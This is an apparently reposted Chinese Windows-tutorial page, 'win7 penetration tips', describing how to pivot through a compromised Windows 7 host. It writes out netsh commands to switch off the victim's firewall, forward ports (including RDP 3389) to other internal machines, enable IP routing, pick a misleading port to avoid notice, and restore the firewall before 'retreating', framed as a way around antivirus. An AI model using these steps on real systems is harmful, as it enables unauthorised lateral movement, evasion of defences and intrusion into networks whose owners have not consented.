Windows XP Windows 7 Windows 2003 Windows Vista Windows教程綜合 Linux 系統教程
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟件教程
 Windows教程網 >> Windows教程綜合 >> 關於windows >> win7滲透技巧

win7滲透技巧

日期:2017/2/7 13:42:18      編輯:關於windows
 

目標是WIN7 X64,且開啟了防火牆,想要用他的機器去訪問別的機器,又不想登陸他的系統,常規辦法一般是上傳一個htran,然後進行轉發,但是對方有殺軟,有被殺的可能性,所以我用另外一種辦法達到我的目的。

為了方便,先關閉他的防火牆

netsh advfirewall set allprofiles state off (win2003&xp是用netsh firewall set opmode DISABLE 關閉) 你也可以放行listenport,具體命令自行查資料。然後用netsh interface portproxy 進行轉發到目標服務器,但是有個小缺陷,端口是能在系統裡看到的,畢竟是R3層的東西,不像Linux的IPTABLES,所以必須選擇一個迷惑性的端口。 操作完畢後,恢復防火牆netsh advfirewall set allprofiles state on.然後撤退。

關於netsh 轉發,請參考以下內容:Windows下端口轉發。 添加:

netsh interface portproxy add v4tov4 listenport=轉發端口 listenaddress=本機IP connectport=目標端口 connectaddress=目標IP 例子:

netsh interface portproxy add v4tov4 8002 202.112.58.200 8002 //本地ALL IP轉目標IP8002

netsh interface portproxy add v4tov4 listenport=5200 listenaddress=1.1.1.1 connectport=3389 connectaddress=2.2.2.2 //指定IP轉發。 XP/2003需要先安裝IPV6

netsh interface ipv6 install 刪除:

netsh interface portproxy delete v4tov4 listenport=轉發端口 listenaddress=本機IP

配置IP路由轉發:

netsh interface ipv4 set int 26 forwarding=enabled

26是網絡接口編號,可以用netsh interface ipv4 show interfaces來查看.

Copyright © Windows教程網 All Rights Reserved